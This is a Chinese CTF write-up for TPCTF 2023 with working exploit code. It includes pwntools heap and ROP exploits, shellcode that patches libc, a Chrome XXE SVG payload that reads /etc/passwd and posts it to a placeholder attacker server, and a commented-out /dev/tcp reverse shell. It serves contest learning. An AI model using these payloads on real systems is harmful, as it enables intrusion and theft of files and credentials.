国际赛TPCTF 2023 Writeup Polaris

admin 2023年12月12日17:59:32评论13 views字数 19951阅读66分30秒阅读模式

本次 TPCTF 2023,我们星盟ctf战队排名第6。

国际赛TPCTF 2023 Writeup Polaris

PWN

tpgc

Fuzz 出的 PoC 直接可以劫持程序流,根据 PoC 利用 printf.got 泄漏出 libc 地址。由于 PoC 需要间接跳转到我们写入的地址。但是我们只能写堆地址,故爆破堆地址。最终劫持程序流到 one_gadget,成功率1/4096。

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('61.147.171.105', 64575)
def take(content):    sh.sendlineafter(b'> ', b'1')    sh.sendlineafter(b'here:n', content)def drop():    sh.sendlineafter(b'> ', b'2')def take2(content):    sh.sendlineafter(b'> ', b'3')    sh.sendlineafter(b'here:n', content)def drop2():    sh.sendlineafter(b'> ', b'4')def fuse(content):    sh.sendlineafter(b'> ', b'5')    sh.sendlineafter(b'here:n', content)def drop3():    sh.sendlineafter(b'> ', b'6')
take2(b'a' * 2000)take(p64(0x41D028)[:7])fuse(b'5')drop3()drop2()libc_addr = u64(sh.recvn(6) + b'00') - 0x64e10success('libc_addr: ' + hex(libc_addr))
take(p64(0x50a000 + 0x2b6c8)[:7])take2(p64(libc_addr + 0xe6aee))fuse(b'5')drop3()drop2()
sh.interactive()

core

文件目录有修改权限。

rm -f /bin/umountecho "cat /root/flag" > /bin/umountchmod 755 /bin/umountexit

core revenge

文件 /lib64/libc.so.6 有修改权限。

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <fcntl.h>
unsigned char shellcode[] = {    0x48, 0x8d, 0x3d, 0x0b, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x31, 0xd2, 0xb8,    0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x65,    0x78, 0x70, 0x00};
int main(int argc, char *argv[]){    int fd, result;    char buf[0x100];    setbuf(stdout, NULL);    if(argc == 2)    {        puts("Stage One");        fd = open("/lib64/libc.so.6", O_RDWR);        if(fd < 0)        {            perror("open");            exit(EXIT_FAILURE);        }        result = lseek(fd, 0x219D0, SEEK_SET);        if(result < 0)        {            perror("lseek");            exit(EXIT_FAILURE);        }        result = write(fd, shellcode, sizeof(shellcode));        if(result < 0)        {            perror("write");            exit(EXIT_FAILURE);        }        close(fd);    }    else    {        puts("Stage Two");        fd = open("/root/flag", O_RDONLY);        if(fd < 0)        {            perror("open");            exit(EXIT_FAILURE);        }        result = read(fd, buf, sizeof(buf));        if(result < 0)        {            perror("read");            exit(EXIT_FAILURE);        }        write(STDOUT_FILENO, buf, result);    }
   return 0;}

mte notebook

程序没有去符号表,根据其内部所包含的字符串可以确定是使用glibc-2.38进行静态编译的。

程序主要的两个结构题如下:

00000000 note struc ; (sizeof=0x80, mappedto_34)00000000 field_0 DCQ ?00000008 title DCB 16 dup(?)00000018 page DCQ ?                              ; offset00000020 description DCB 96 dup(?)00000080 note ends
00000000 page struc ; (sizeof=0x70, mappedto_33)00000000 current DCQ ?00000008 next DCQ ?                              ; offset00000010 contents DCB 64 dup(?)00000050 field_50 DCQ ?00000058 field_58 DCQ ?00000060 field_60 DCQ ?00000068 field_68 DCQ ?00000070 page ends

程序本身存在 Heap Overflow 和 UAF 漏洞,由于开启了 MTE ,直接使用 Heap Overflow 和 UAF 漏洞会报错。

通过大量调试可知修改 Heap 大概率会触发 MTE 异常,即使使用Chunk Overlap利用方式也会触发 MTE 异常。

程序本身还有一个未初始化漏洞,该漏洞可以让我们将next指针指向一个非堆地址,这种情况下则不会触发 MTE 异常。

void __noreturn notebook(){  ...      case 5uLL:        v5 = (page *)malloc(0x70LL); // uninitilized        if ( page )        {          page->next = v5;          v5->current = page->current + 1;        }        else        {          v6[index_4]->page = v5;          v5->current = 0LL;        }        page = v5;        break;  ...}

因此我们可以先利用程序的

Drop Notebook填满 tcache (size:0x90),然后继续 Drop Notebook将 Notebook放入unsorted bin 中,当我们申请page的时候(Add Page功能),unsorted bin中的chunk将会被放入smallbin后取出,此时该chunk会残留 main_arena 信息,也就是page的next指针将会残留 main_arena 信息,故此可以控制 main_arena 。

随后提前在 main_arena 布置 next 指针,再走一遍 Drop Notebook 和 Add Page功能,之后就能控制next指针,从而实现任意地址写。

由于程序一开头已经给了栈地址,并且程序基地址固定,因此直接劫持栈进行ROP,最终调用 

SYS_execve("/bin/sh", ["/bin/sh", NULL], NULL) 获取 shell 。

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')
qemu = Truesh = remote("202.112.238.82",10000)
import hashlibimport stringsh.recvuntil(b'sha256(XXXX+')content = sh.recvuntil(b') == ', drop=True)hash = sh.recvuntil(b'n', drop=True).decode()def get_XXXX(hash_expected):    table = string.digits + string.ascii_letters    for XXXX_0 in table:        for XXXX_1 in table:            for XXXX_2 in table:                for XXXX_3 in table:                    XXXX_tmp = XXXX_0 + XXXX_1 + XXXX_2 + XXXX_3                    XXXX_tmp = XXXX_tmp.encode()                    if hashlib.sha256(XXXX_tmp + content).hexdigest() == hash_expected:                        return XXXX_tmpXXXX = get_XXXX(hash)sh.recvuntil(b'Give me XXXX: ')sh.sendline(XXXX)
def sendlineafter(delim, data):    sh.recvuntil(b'> ')    sh.sendline(data)    if qemu:        sh.recvuntil(data)
def edit_page(values):    sh.recvuntil(b'7. Exit')    sh.recvuntil(b'> ')    sh.sendline(b'3')    if qemu:        sh.recvuntil(b'3')    sh.recvuntil(b'longs (in hex)')    for v in values:        sh.recvuntil(b'> ')        sh.sendline(hex(v).encode())
def next_page():    sh.recvuntil(b'7. Exit')    sh.recvuntil(b'> ')    sh.sendline(b'4')    if qemu:        sh.recvuntil(b'4')
def add_page():    sh.recvuntil(b'7. Exit')    sh.recvuntil(b'> ')    sh.sendline(b'5')    if qemu:        sh.recvuntil(b'5')
def drop_notebook():    sh.recvuntil(b'7. Exit')    sh.recvuntil(b'> ')    sh.sendline(b'6')    if qemu:        sh.recvuntil(b'6')    sh.recvuntil(b'Are you sure?')    sh.recvuntil(b'> ')    sh.sendline(b'1')    if qemu:        sh.recvuntil(b'1')
def choose_notebook(index):    sh.recvuntil(b'7. Exit')    sh.recvuntil(b'> ')    sh.sendline(b'1')    if qemu:        sh.recvuntil(b'1')    sh.recvuntil(b'> ')    sh.sendline(str(index).encode())    if qemu:        sh.recvuntil(str(index).encode())
sh.recvuntil(b"I've put flag1 in ")flag1 = int(sh.recvuntil(b',', drop=True), 16)success('flag1: ' + hex(flag1))sendlineafter(b'> ', b'2')
for i in range(8):    choose_notebook(i)    drop_notebook()choose_notebook(9)add_page()next_page()next_page()next_page()next_page()next_page()next_page()next_page()next_page()
edit_page([0x61, flag1-0x90, 0])choose_notebook(8)drop_notebook()choose_notebook(9)add_page()next_page()next_page()next_page()next_page()next_page()next_page()next_page()next_page()
edit_page([0x61, 0x00000000004521b8, 1, flag1-0x80+0x10, 3, 0x42629c, flag1+0x1d0, 6, flag1] + [i + 1 for i in range(0xb)] + [0x400260] + [i + 1 for i in range(0xa)] + [0x45d028, 221] + [i + 1 for i in range(0x1c)] + [0x41a628, 1, 0x00000000004521b8, 0x413c64, 1, 2, 3, 4, 0x413c64, flag1+0x1c8] + [0x68732f6e69622f, flag1+0x1c8, 0])
sh.interactive()

safehttpd

漏洞点比较多的一道题目

1.root 账号申请的堆块的密码是由 srand 生成的,且 time(0) 可以被预测

srand(seed);    for ( i = 0; i <= 12; ++i )    {    do    {        do        v1 = rand();        while ( v1 <= 32 );    }    while ( v1 == 127 );    v5[i] = v1;    }    v5[13] = 0;

这就给了我们预测 root 账号密码的机会

#include <stdio.h>
int main(){    unsigned int seed = time(0LL);    char v1 = 0;    char v5[0x10];    srand(seed);    for (int i = 0; i <= 12; ++i )    {    do    {        do        v1 = rand();        while ( v1 <= 32 );    }    while ( v1 == 127 );    v5[i] = v1;    }    v5[13] = 0;    write(1, v5, sizeof(v5));}

将上面代码编译后,在 exp 中如下调用

就可以预测出 root 账号密码了

def init(fd):    pl = 'GET /initnStdout: ' + str(fd) + 'n'    sl(pl)    rand = process('get_rand')    value = rand.recv(13)    rand.close()    return value

2.sprintf 函数拼接导致栈溢出

当我们预测出 root 账号时候,是可以申请一个 0x4f8 大小的堆块,并且可以控制堆块数据的

 unsigned __int64 __fastcall sub_18E9(int a1, const char *a2){     size_t v2; // rax     size_t v3; // rax     size_t v4; // rax     size_t v5; // rax     char s[1032]; // [rsp+10h] [rbp-410h] BYREF     unsigned __int64 v8; // [rsp+418h] [rbp-8h]
    v8 = __readfsqword(0x28u);     sprintf(s, "HTTP/1.0 400 BAD REQUESTrn");     v2 = strlen(s);     write(a1, s, v2);     sprintf(s, "Content-type: text/htmlrn");     v3 = strlen(s);     write(a1, s, v3);     sprintf(s, "rn");     v4 = strlen(s);     write(a1, s, v4);     sprintf(s, "%srn", a2);                     // 截断     v5 = strlen(s);     write(a1, s, v5);     return v8 - __readfsqword(0x28u); }

可以发现 a2 会被拼接到 1032 的空间,那么就会导致栈溢出

3.register 功能正常注册堆块的 uid 权限伪造

如果我们把用户名写成

a:b:0 

之后使用 show 和 edit 功能就可以有权限使用

栈溢出是无法泄露出 canary 的

这里的漏洞点是一个 cve

https://sourceware.org/bugzilla/show_bug.cgi?id=30068

  *((_QWORD *)head_chunk + 6) = malloc(len);    memset(*((void **)head_chunk + 6), 0, len);    *((_DWORD *)head_chunk + 0xE) = len;    sprintf((char *)head_chunk + 0x10, "%-8s:%-13s:%-'8d", v9, pawd, uid);

这样的话,在 register 功能中,就可以利用这个 cve 溢出 x00 到 0x40 堆块上的 下级堆块指针

这里还需要注意 fd ,每次 http 请求时候,fd 被使用过就会被 close,使用需要在每次发送 http 请求时候都重置一次 fd

exp

from pwn import *from struct import packfrom ctypes import *import base64from subprocess import run#from LibcSearcher import *from struct import packimport tty
def debug(c = 0):    if(c):        gdb.attach(p, c)    else:        gdb.attach(p)        pause()def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))#-----------------------------------------------------------------------------------------s = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data   :p.sendline(data)sla = lambda text,data  :p.sendlineafter(text, data)r   = lambda num=4096   :p.recv(num)rl  = lambda text   :p.recvuntil(text)pr = lambda num=4096 :print(p.recv(num))inter   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))l64 = lambda    :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'x00'))int16   = lambda data   :int(data,16)lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')p = remote('122.9.149.82', 9999)#p = process('./pwn')elf = ELF('./pwn')libc = ELF('./libc.so.6')
def init(fd):  pl = 'GET /initnStdout: ' + str(fd) + 'n'  sl(pl)  rand = process('get_rand')  value = rand.recv(13)  rand.close()  return value
def setlocal(data, fd):  pl = 'GET /setlocale?' + data + 'nStdout: ' + str(fd) + 'n'  sl(pl)def reg(name, pawd, uid, size, fd):  pl = 'GET /register?' + 'username=' + name + '&password=' + pawd + '&uid=' + str(uid) + '&len=' + str(size) + 'nStdout: ' + str(fd) + 'n'  sl(pl)def test(data):  pl = 'GET /test' + data + 'n'  sl(pl)def logoff(name, pawd, fd):  pl = 'GET /logoff?' + 'username=' + name + '&password=' + pawd + 'nStdout: ' + str(fd) + 'n'  sl(pl)def show(name, pawd, fd):  pl = 'GET /show?' + 'username=' + name + '&password=' + pawd + 'nStdout: ' + str(fd) + 'n'  sl(pl)def edit(name, pawd, size, data, fd):  pl = b'POST /note?' + b'username=' + name + b'&password=' + pawd + b'nContent-Length: ' + str(size).encode() + b'nStdout: ' + str(fd).encode() + b'n'  sl(pl)  sleep(1)  s(data)def exit_():  pl = 'GET /poweroffn'  sl(pl)
pas1 = init(3)logoff('root', pas1.decode(), 3)pas1 = init(3)show('root', pas1.decode(), 1)libc_base = l64() - 0x1f6ce0
reg('b', 'b', 0x3e8, 0x50, 3)reg('c', 'b', 0x3e8, 0x50, 3)logoff('c', 'b', 3)
setlocal('=' + 'en_US.UTF-8', 3)#debug('b *$rebase(0x357c)nb *$rebase(0x34f3)n')reg('a:b:0', '0', 0x3e8, 0x10, 3)reg('c:c:0', '0', 0x3e8, 0x400, 3)
environ = libc_base + libc.sym['environ']stdout = libc_base + libc.sym['_IO_2_1_stdout_']system, binsh = get_sb()_IO_wfile_jumps = libc_base + 0x1f3240
#debug('b *$rebase(0x357c)')
pl = p64(0)*2 + b'a:b:0'.ljust(0x20, b'x00') + p64(environ) #+ p64(0x400)edit(b'c', b'c', len(pl), pl, 3)
#debug('b *$rebase(0x1a32)')
show('a', 'b', 2)
stack = l64()
#debug('b *$rebase(0x357c)')pl = b'x00'*0x80 + b'a:b:0'.ljust(0x20, b'x00') + p64(stack - 0xca0) + p64(0x400)edit(b'c', b'c', len(pl), pl, 3)
#debug('b *$rebase(0x357c)nb *$rebase(0x34f3)n')
rdi = libc_base + 0x240e5rsi = libc_base + 0x2573erdx = libc_base + 0x26302rax = libc_base + 0x40123ret = libc_base + 0x23159mprotect = libc_base + libc.sym['mprotect']
#pl = p64(ret) + p64(rdi) + p64(stack - 0xca0 + 0x20) + p64(system)#pl += b'/bin/sh'#pl += b'/bin/sh -i >& /dev/tcp/x/x 0>&1x00'
#debug('b *$rebase(0x357c)')pl = p64(rdi) + p64((stack >> 16) << 16) + p64(rsi) + p64(0x10000) + p64(rdx) + p64(0x7)pl += p64(mprotect) + p64(stack - 0xca0 + 0x40)pl += asm(shellcraft.connect('xx.xx.xx.xx.xx', xx) + shellcraft.open('/flag') + shellcraft.read(2, stack + 0x1000, 0x100) + shellcraft.write(1, stack + 0x1000, 0x100))
edit(b'a', b'b', len(pl), pl, 3)
lg('stack', stack)lg('stdout', stdout)lg('libc_base', libc_base)#debug()inter()
pause()
#debug()pause()

RE

maze

国际赛TPCTF 2023 Writeup Polaris

设置libc.so的断点 不断地调试  

发现逻辑就是输入的每个字符与固定的值xor  

然后与结果对比

关键函数在4maze_3c29sdmU中

在两个关键点设置断点

国际赛TPCTF 2023 Writeup Polaris

会发现每次传入一个数据

并且与已知数据进行异或 然后与一个固定值进行对比

不断调试 

再根据pyobject结构体数据特点 

取出相关的值 xor一下就可以

cin = "Tbcdefghijklmnopqrstuvwxyz0123456"
secert=[25, 23, 4, 5, 47, 63, 7, 60, 11, 16, 49, 49, 25, 37, 9, 39, 4, 112, 38, 25, 7, 15, 11, 61, 2, 14, 3, 36, 40, 26, 102, 62]
xor_data=[73,84,80,67,84,70,72,73,84,80,67,84,70,72,73,84,80,67,84,70,72,73,84,80,67,84,70,72,73,84,80,67]
print("T")
for i in range(32):
 print(chr(secert[i]^xor_data[i]),end='')
print(len(xor_data))

funky

程序会把输入的数据转化为二进制的形式

每一个比特用一个int类型数据表示

0x80000000代表 0    0x000000000代表1

编写ida python脚本提取数据

国际赛TPCTF 2023 Writeup Polaris

程序大概有三个函数进行加密

国际赛TPCTF 2023 Writeup Polaris

一些函数表面上全都等于零 

实际上实现了xor的操作(或者加法操作)

国际赛TPCTF 2023 Writeup Polaris

不断动调分析逻辑和加密代码

分别写出三个加密函数的逆向解密代码


# print(bin(0xd04c)[2:].rjust(16,'0'))#
# print(bin(0x2bbd)[2:].rjust(16,'0')) #输入

# print(bin(0x8e91)[2:].rjust(16,'0'))#前一轮输出
# print(bin(0x341d)[2:].rjust(16,'0'))
# print(bin(0x5edd)[2:].rjust(16,'0'))

# print(bin(0x6ac0)[2:].rjust(16,'0'))#输出
# print(bin(0x341d)[2:].rjust(16,'0'))

# stack 0x341d,
# stack 0x90bf #输入

# stack 0x6ac0,#前一轮输出
# stack 0x9cef,
# stack 0x5edd,

# stack 0xc232,#输出
# stack 0x9cef,

# func(0x5EDD,0x1a44) == 0x1ea7
# func(0x1ea7,0xb5e0) == 0x841c

# cin = [0xe674,0xfd58]
# out = [0x5145,0x5566]
# for i in range(2):
#   print(hex(cin[i]^0x6f08^0x5EDD))
#
#7e10  
"""
stack 0xde10,
stack 0xc8a1,
stack 0xe5c3,
stack 0xbf07,
stack 0xa8f,
stack 0x151e,
stack 0x2a3c,
stack 0x5478,
stack 0xa8f0,
stack 0x2561,
stack 0x4ac2,
stack 0x9584,
stack 0x5f89,
stack 0xbf12,
stack 0xaa5,
stack 0x154a,
"""
def enc3(data):
 tmp = 0x6f08
 out = 0
 double = 0x7481
 a1= 0
 v8 = "0"
 for i in bin(data)[2:].rjust(16,'0')[::-1]:
   v21= 0
   flag = i
   if(flag=="1"):
     v21 = tmp
   v29=v21
   out  = a1 ^ v29
   #print(hex(a1) + "^" + hex(v29) +"="+ hex(out))
   a1 = out
   v29 = 0
   flag = v8
   if(flag=="1"):
     v29 = double
   v21 = (tmp*2) &0xffff
   out = v21 ^ v29
   #out ^= 0xffff
   tmp = out
   v8 = bin(tmp)[2:].rjust(16,'0')[0]
   # print("v8",bin(tmp)[2:].rjust(16,'0'))
   #print(hex(tmp))
 return a1^0x5edd
# ans = enc3(0xe674)
# print(hex(ans))
enc = [  0xBE, 0x13, 0x05, 0xF3, 0x10, 0x61, 0xDA, 0x69,  0x39, 0x7B, 0x8B, 0x4A, 0x89, 0xB4, 0x64, 0xB5,0x32, 0xAE, 0x15, 0x84, 0xC1, 0x85, 0x45, 0xD9, 0xA9, 0x1D, 0xB6, 0x7C, 0xF6, 0x93, 0x88, 0xF6]
import struct
word_datas = struct.unpack('<16H', bytes(enc)) # 输出转换后的 Word 类型数据
# arr2 = []
# for i in word_datas:
#   for j in range(0xffff+1):
#     if(enc3(j) == i):
#       arr2.append(j)
#       break
arr2=[28748, 9316, 25108, 36707, 36516, 45275, 2160, 1639, 38774, 25963, 5323, 26887, 32085, 28749, 31722, 48268]
print(hex(arr2[0]))
data = [ j for j in b"".join([struct.pack("<H",i) for i in arr2])]
#print(data)
table = [ 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01,
0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D,
0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4,
0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC,
0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7,
0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2,
0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E,
0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB,
0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB,
0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C,
0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5,
0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C,
0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D,
0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A,
0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3,
0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D,
0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A,
0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6,
0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E,
0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9,
0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9,
0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99,
0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16, ]
# def rol(x):
#   return ((x<<1) | (x>>7)) &0xff
# for base in [8,16,24,0]:
#   for j in range(32):
#     for i in range(8):
#       sum = (cin[base+i-8]+ cin[base+i]) &0xff
#       cin[base+((i+1) % 8)] = (cin[base+((i+1) % 8)] + table[sum])& 0xff
#       cin[base+((i+1) % 8)] = rol(cin[base+((i+1) % 8)])
cin = [0x96,0x94,0xde,0xca,0x2e,0x79,0x4b,0xb8,0x90,0xf4,0x4,0x7f,0x2f,0x4c,0x5e,0xc,0xcb,0xa,0x25,0xa6,0x67,0x91,0x60,0x30,0x2d,0x92,0xcc,0xc5,0xdb,0xa2,0xf6,0x42]
cin = data
def lol(x):
 return ((x<<7) | (x>>1)) &0xff
for base in [8,16,24,0][::-1]:
 for j in range(32):
   for i in range(7,-1,-1):
     cin[base+((i+1) % 8)] = lol(cin[base+((i+1) % 8)])
     sum = (cin[base+i-8]+ cin[base+i]) &0xff
     cin[base+((i+1) % 8)] = (cin[base+((i+1) % 8)] - table[sum])& 0xff
     # sum = (cin[base+i-8]+ cin[base+i]) &0xff
     # cin[base+((i+1) % 8)] = (cin[base+((i+1) % 8)] + table[sum])& 0xff
     # cin[base+((i+1) % 8)] = rol(cin[base+((i+1) % 8)])
print(cin)
from string import printable
print(printable)
#dic="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_-"
cin1 = [ord(i) for i in "abcdefghijklmnopqrstuvwxyz012345"]
out1  = [0x4f,0x13,0x27,0xab,0x9f,0xc3,0xf7,0xb8,0x8c,0xd0,0xe4,0x68,0x5c,0x0,0x34,0x9e,0xaa,0xf6,0xc2,0x4e,0x7a,0x26,0x12,0x5d,0x69,0x35,0xaf,0x9b,0xc7,0xf3,0x7f,0x4b]
cin2 = [ord(i) for i in "6789ABCDEFGHIJKLMNOPQRSTUVWXYZ!_"]
out2 =[0x17,0x23,0x6c,0x58,0xe6,0xba,0x8e,0x2,0x36,0x6a,0x5e,0x11,0x25,0x79,0x4d,0xc1,0xf5,0xa9,0x9d,0x37,0x3,0x5f,0x6b,0xe7,0xd3,0x8f,0xbb,0xf4,0xc0,0x9c,0x7e,0x78,]
cin3 = [ord(i) for i in "1!#$%&'()*+,-./:;<=>?@[]^_`{|}~"]
out3= [0x9b,0x7e,0x16,0x9a,0xae,0xf2,0xc6,0x89,0xbd,0xe1,0xd5,0x59,0x6d,0x31,0x5,0x4,0x30,0xbc,0x88,0xd4,0xe0,0xd2,0xa8,0x24,0x10,0x4c,0x78,0x7b,0x1,0x8d,0xb9,0xe5,]
dic = {}
for i,j in zip(cin1,out1):
 dic[j] = i
for i,j in zip(cin2,out2):
 dic[j] = i
for i in cin:
 print(chr(dic[i]),end='')

WEB

xss-bot

连接nc

filename提示时输入

poc.svg

然后input提示时输出

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="?#"?><!DOCTYPE div [  <!ENTITY passwd_p        "file:///etc/passwd">  <!ENTITY passwd_c SYSTEM "file:///etc/passwd">]><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  <xsl:template match="/">    <xsl:copy-of select="document('')"/>    <body xmlns="http://www.w3.org/1999/xhtml">      <div style="display:none">        <p class="&passwd_p;">&passwd_c;</p>      </div>      <script>        document.querySelectorAll('p').forEach(p => {          var url = 'http://你的服务器ip';          var formData = 'filename=' + p.className + '&amp;result=' + btoa(p.innerHTML);          var xhr = new XMLHttpRequest();          xhr.open('POST', url, true);          xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');          xhr.send(formData);        });      </script>    </body>  </xsl:template></xsl:stylesheet>

这是利用chorm92版本在sandbox模式下

对文件权限过滤不严,产生的xxe漏洞。

原理是CVE-2023-4357-Chrome-XXE

xss-boot-but-no-internet

连接nc

filename提示时输入

poc.svg

然后input提示时输出

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="?#"?><!DOCTYPE div [  <!ENTITY passwd_p        "file:///flag">  <!ENTITY passwd_c SYSTEM "file:///flag">]><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  <xsl:template match="/">    <xsl:copy-of select="document('')"/>    <body xmlns="http://www.w3.org/1999/xhtml">      <div style="display:none">        <p id="res" class="&passwd_p;">&passwd_c;</p>      </div>      <script>            function compare(){                let result = document.getElementById('res').innerText;                let compareStr = "TPCTF{ea5y5C4}";                if(result.substring(0, compareStr.length) === compareStr){                    sleep();                }            }            function sleep(){                let n = 0;                while (true){                    n++;                }            }            function getIndex(char) {              var list = "klmnopqrstuvwxyzabcdefghij_1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ";              return list.indexOf(char);            }      </script>        <iframe onload="compare()" src="http://127.0.0.1"></iframe>        <iframe onload="" src="http://127.0.0.1"></iframe>    </body>  </xsl:template></xsl:stylesheet>

跟xss-bot类似,但是反馈不能直接出网,只能借助报错,按照有无报错以二分法传出数据。

# Stage 2try:    options.add_argument("--no-sandbox")  # sandbox not working in docker...        driver.set_page_load_timeout(15)    driver.get("http://localhost:"+port_id+"/"+file_name)...except Exception as e:    print("ERROR", type(e))    print("I'll not give you exception message this time.")

原理是CVE-2023-4357-Chrome-XXE

Crypto

sort (teaser)

利用报错实现类侧信道攻击,逐位爆破出flag。

from pwn import *import libnum, string# context.log_level = 'debug'
# 测长度LEN = 0flag = 'TPCTF{'table = string.printable[:-6]for i in range(26):    try:        sh = remote('202.112.238.82', 13371)        sh.sendlineafter(b'Enter your function A:', f'C=A>>{i*8}'.encode())        sh.sendline(f'B=C!={libnum.s2n(flag)}'.encode())        sh.sendline(b'EOF')        sh.recvline_contains(b'You did not sort correctly')    except:        LEN = i        print(f"{LEN=}")        break
# 逐位爆破flagfor i in range(1, LEN+1):    for char in table:        sh = remote('202.112.238.82', 13371)        try:            sh.sendlineafter(b'Enter your function A:', f'C=A>>{(LEN-i) * 8}'.encode())            sh.sendline(f'B=C!={libnum.s2n(flag+char)}'.encode())            sh.sendline(b'EOF')            sh.recvline_contains(b'You did not sort correctly')        except:            flag += char            print(f"{flag=}")  # TPCTF{A_strAnge_s1de_channel}            break

MISC

小 T 的日常

国际赛TPCTF 2023 Writeup Polaris
国际赛TPCTF 2023 Writeup Polaris
国际赛TPCTF 2023 Writeup Polaris
国际赛TPCTF 2023 Writeup Polaris
国际赛TPCTF 2023 Writeup Polaris

SIGNIN: Ingress

搜了一下说是 rot13 后的链接

根据题目说要在 protal 附近,改一下定位:

国际赛TPCTF 2023 Writeup Polaris
国际赛TPCTF 2023 Writeup Polaris

safebox

因为最终的解实际上只和文件路径有关,所有相同文件明创建后的差是一样的,虽然不能读,但是创建一个一样的文件之后能读出一样的编译,已知明文的话就能拿到插值了。

国际赛TPCTF 2023 Writeup Polaris
int main(){  unsigned char  test[] = { 95,239,75,157,61,65,98,121,92,104,215,6,10,170,55,62,118,173,100,33,95,99,20,115,17,192,112,224,193,202,45,135,95,239,75,157,61,65,98,121,92,104 };  unsigned char kk[] = { 82,222,45,144,34,91,49,101,98,102,220,198,245,124,53,37,100,152,54,228,93,58,5,66,251,164,110,242,160,207,49,94,77,230,103 };
 for (int i = 0; i < 42; i++)  {    test[i] -= 'a';  }
 for (int i = 0; i < 35; i++)  {    kk[i] -= test[i];  }}
国际赛TPCTF 2023 Writeup Polaris

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月12日17:59:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   国际赛TPCTF 2023 Writeup Polarishttps://cn-sec.com/archives/2257927.html

发表评论

匿名网友 填写信息